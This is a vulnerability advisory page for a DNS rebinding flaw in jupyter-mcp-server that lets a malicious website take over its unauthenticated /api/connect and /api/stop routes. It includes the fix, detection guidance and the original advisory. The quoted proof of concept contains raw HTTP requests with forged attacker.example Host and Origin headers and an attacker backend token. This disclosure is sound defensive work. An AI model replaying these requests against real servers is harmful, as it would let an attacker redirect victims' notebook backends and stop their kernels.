CVE-2026-77359: Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes
jupyter-mcp-server 1.0.2 and earlier, in standalone streamable-http mode, lets a malicious website reach its management routes through DNS rebinding. The site can replace the server's active Jupyter backend with an attacker-controlled one. Upgrade to 1.0.3.
Published Nov 20, 2026 · Analysis Nov 20, 2026
What an attacker can do
The /mcp endpoint rejects forged Host and Origin headers with HTTP 421 Invalid Host header. The custom routes mounted on the same app do not. PUT /api/connect in jupyter_mcp_server/server.py reads the caller's JSON, calls set_config with the supplied runtime_url and document_url, resets ServerContext and starts a kernel client. DELETE /api/stop removes the current notebook.
An attacker hosts a page whose hostname first resolves to the attacker and then to 127.0.0.1 or a private address. The victim's browser keeps the attacker origin, so same-origin rules let the page send requests to the local MCP listener. No token is needed on the custom routes.
The advisory's proof of concept shows the server then logging Starting the kernel client... and sending POST /api/kernels and a WebSocket request, with the attacker's token, to the attacker's backend. The attacker can also stop the current notebook kernel. The default 0.0.0.0 bind makes LAN, VPN and Docker-published listeners reachable too. The victim only has to visit the page while the server runs.
Who is affected
The pip package jupyter-mcp-server at version 1.0.2 or earlier is affected. The risk applies to standalone streamable-http mode, where the custom /api/connect and /api/stop routes are served by the same app.
Check your version:
pip show jupyter-mcp-serverjupyter-mcp-server
- Ecosystem
- PyPI
- Affected
- <= 1.0.2
- Fixed in
- 1.0.3
- Check
pip show jupyter-mcp-server
How to fix it
Upgrade to 1.0.3:
pip install --upgrade jupyter-mcp-server==1.0.3Pull request 262 adds middleware for /api/connect, /api/stop and /api/healthz. It rejects non-local Host values with 421 and non-local browser Origin values with 403. It also requires the MCP_TOKEN bearer token on /api/connect and /api/stop. The connect and stop CLI commands now send that token. The advisory suggests binding to 127.0.0.1 by default. Set MCP_TOKEN and bind to loopback in the meantime.
How to tell if you were hit
Check the server log for Connect endpoint received lines whose runtime_url or document_url you did not set. Each one is followed by Starting the kernel client.... A PUT /api/connect or DELETE /api/stop carrying an unfamiliar Host or Origin header is suspicious. Also look for outbound POST /api/kernels and WebSocket traffic from the MCP host to unknown addresses. A notebook that stops without your action can also be a sign.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Standalone streamable-http mode in datalayer/jupyter-mcp-server rejects forged Host and Origin headers on /mcp, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to 127.0.0.1 or a private target address, then send PUT /api/connect to replace the MCP server's active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.
The protected /mcp endpoint shows the intended browser-origin boundary. With MCP_TOKEN configured, /mcp rejects forged browser headers:
POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142
HTTP 421 Invalid Host headerThe vulnerable route is jupyter_mcp_server/server.py:143-187. It parses caller JSON, updates the active Jupyter backend configuration, resets ServerContext, and starts the kernel without applying the /mcp Host/Origin rejection to the custom route:
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()
document_runtime = DocumentRuntime(**data)
set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)
ServerContext.reset()
try:
__start_kernel()
return JSONResponse({"success": True})/api/stop is also state-changing and accepts the same browser-origin route shape:
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})Proof of concept
Run the affected version with MCP_TOKEN configured:
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083First, show that /mcp rejects the browser-shaped request:
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}Observed response:
HTTP/1.1 421
Invalid Host headerNow send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to 127.0.0.1 or the private MCP listener:
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json
{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_REBIND",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_REBIND"
}Observed response:
HTTP/1.1 200 OK
content-type: application/json
{"success":true}The server log shows that /api/connect accepted the attacker-chosen backend despite the browser-origin headers:
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfullyWhen an attacker-controlled backend is listening on 127.0.0.1:9183, it receives Jupyter API traffic from the MCP server:
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND
GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBINDImpact
The protected /mcp endpoint rejects forged Host and Origin values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim's browser, stop the current notebook kernel through /api/stop, replace the configured runtime_url and document_url through /api/connect, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.
Why this is a vulnerability, not intended behavior
- This is not a generic claim that
/mcplacks Host validation./mcprejects the forged Host replay withHTTP 421 Invalid Host header. - This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch, and it accepts browser-shaped requests.
- This is not only a broad-bind issue. The default
0.0.0.0bind increases exposure, but the browser-origin boundary failure is that state-changing custom routes bypass the Host/Origin controls applied to/mcp.
Remediation
Apply the same browser-origin security policy to every route mounted on the standalone HTTP app:
- Enforce Host and Origin validation before custom routes parse request bodies or mutate global config.
- Require the
MCP_TOKENbearer token on/api/connect,/api/stop,/api/healthz, and any future custom route that reads or changes server state. - Bind standalone HTTP to
127.0.0.1by default, and require an explicit host allowlist for non-loopback listeners. - Add regression tests proving that
/api/connectand/api/stopreject forged browserHostandOriginheaders.
Credited to avishaigonen-pluto, yotampe-pluto.
Questions
- Which jupyter-mcp-server version fixes this?
1.0.3. Version 1.0.2 and earlier are affected.
- Does setting MCP_TOKEN protect me on 1.0.2?
No. The proof of concept sets
MCP_TOKENand/mcprejects the forged request, but/api/connectstill returns 200 without the token. Version 1.0.3 requires the token on the management routes.- Does the attacker need access to my network?
No. A website the victim opens in their browser can reach a local, LAN, VPN or Docker-published listener through DNS rebinding.
- Is it exploited in the wild?
The sources do not say so. A proof of concept is in the advisory, and the entry is not marked as known exploited.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
Coverage on the Beam blog
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77312
Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)
critical10.0Nov 20, 2026CVE-2026-77318
Jupyter MCP Server: Unauthenticated management routes can hijack the Jupyter backend in standalone HTTP mode
high7.3Nov 20, 2026CVE-2026-130007
k8s-mcp-server: Missing authentication on default SSE/HTTP transport allows unauthenticated Kubernetes tool execution
high7.9Nov 19, 2026CVE-2026-130008
sqlite-mcp: Read-only mode bypass via statement chaining and SQL injection in describe_table
high8.2Nov 19, 2026CVE-2026-62964
Gortex: Arbitrary file write / repo-confinement escape in `write_file` / `edit_file` / `move_inline` MCP tools → code execution
high7.8Nov 19, 2026CVE-2026-63129
mssql-mcp-core: SQL injection in mssql-mcp write tools via unparameterized table names and WHERE clauses
high8.8Nov 19, 2026
